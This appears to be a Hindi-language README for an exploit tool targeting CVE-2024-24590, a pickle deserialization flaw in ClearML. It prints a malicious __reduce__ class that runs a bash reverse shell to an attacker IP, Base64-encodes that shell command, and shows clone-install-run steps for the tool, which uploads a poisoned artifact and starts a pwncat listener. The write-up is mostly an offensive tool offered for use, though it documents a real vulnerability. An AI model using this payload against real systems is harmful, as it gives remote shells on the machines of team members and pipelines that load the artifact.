
CVE-2024-24590 – ClearML RCE असुरक्षित pickle आर्टिफैक्ट डिसीरियलाइज़ेशन के माध्यम से (0.17.0–1.14.2)
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2024-24590 |
| सॉफ्टवेयर | ClearML |
| प्रभावित संस्करण | 0.17.0 – 1.14.2 |
| भेद्यता | कार्य कलाकृतियों का असुरक्षित pickle deserialization |
| प्रमाणीकरण | ClearML प्रोजेक्ट में लेखन पहुँच आवश्यक |
| प्रभाव | कलाकृति लोड करने वाली किसी भी मशीन पर रिमोट कोड निष्पादन |
| परीक्षण किया गया | Ubuntu 22.04, Python 3.9+ |
ClearML एक MLOps प्लेटफ़ॉर्म है जिसका उपयोग प्रयोगों को ट्रैक करने, डेटासेट प्रबंधित करने और टीम के सदस्यों के बीच कलाकृतियों (मॉडल, फ़ाइलें, ऑब्जेक्ट) साझा करने के लिए किया जाता है। जब किसी कार्य कलाकृति को Python ऑब्जेक्ट के रूप में अपलोड किया जाता है, तो ClearML इसे Python के pickle मॉड्यूल का उपयोग करके क्रमबद्ध करता है। जब कोई अन्य उपयोगकर्ता उस कलाकृति को डाउनलोड और लोड करता है, तो ClearML इसे — pickle के साथ — बिना किसी अखंडता सत्यापन या क्लास अनुमति सूची के विपरीत क्रम में लाता है।
साझा ClearML प्रोजेक्ट में लेखन पहुँच वाला हमलावर एक दुर्भावनापूर्ण कलाकृति अपलोड कर सकता है जिसमें एक अधिलिखित __reduce__ विधि होती है। कोई भी टीम सदस्य या स्वचालित पाइपलाइन जो उस कलाकृति को लाता और लोड करता है, deserialization के दौरान हमलावर के पेलोड को निष्पादित करेगा, जिससे उनकी मशीन पर RCE प्राप्त होगी।
Python का pickle मॉड्यूल अविश्वसनीय इनपुट के लिए मौलिक रूप से असुरक्षित है। किसी क्लास पर __reduce__ मैजिक मेथड यह नियंत्रित करता है कि deserialization के दौरान इसका पुनर्निर्माण कैसे किया जाता है — यह कोई भी कॉल करने योग्य और तर्क लौटा सकता है, जिसमें os.system शामिल है:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
जब इसे pickled और बाद में unpickled किया जाता है, तो Python ऑब्जेक्ट पुनर्निर्माण के भाग के रूप में os.system(cmd) को कॉल करता है — इससे पहले कि कॉल करने वाले को ऑब्जेक्ट का निरीक्षण करने का कोई मौका मिले।
हमलावर (प्रोजेक्ट लेखन पहुँच)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
ClearML सर्वर कलाकृति को pickled बाइनरी ब्लॉब के रूप में संग्रहीत करता है
│
▼
पीड़ित कलाकृति लाता है (स्वचालित पाइपलाइन / मैन्युअल समीक्षा)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ सक्रिय → os.system(रिवर्स_शेल_कमांड)
│
▼
रिवर्स शेल हमलावर से वापस जुड़ता है
रिवर्स शेल कमांड को एम्बेड करने से पहले शेल कोटिंग समस्याओं से बचने के लिए Base64-एन्कोडेड किया जाता है:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
आवश्यकताएँ: clearml, pwntools, colorama
python3 exploit.py
इंटरैक्टिव मेनू दो चरणों के माध्यम से चलता है:
चरण 1 — ClearML प्रारंभ करें (option 1)
लक्ष्य ClearML सर्वर के लिए क्रेडेंशियल्स कॉन्फ़िगर करने के लिए clearml-init चलाता है। पहले किसी मौजूदा ~/clearml.conf का बैकअप लेता है।
चरण 2 — एक्सप्लॉइट चलाएँ (option 2)
इसके लिए संकेत:
वैकल्पिक रूप से कलाकृति अपलोड करने से पहले स्वचालित रूप से pwncat लिसनर शुरू करता है।
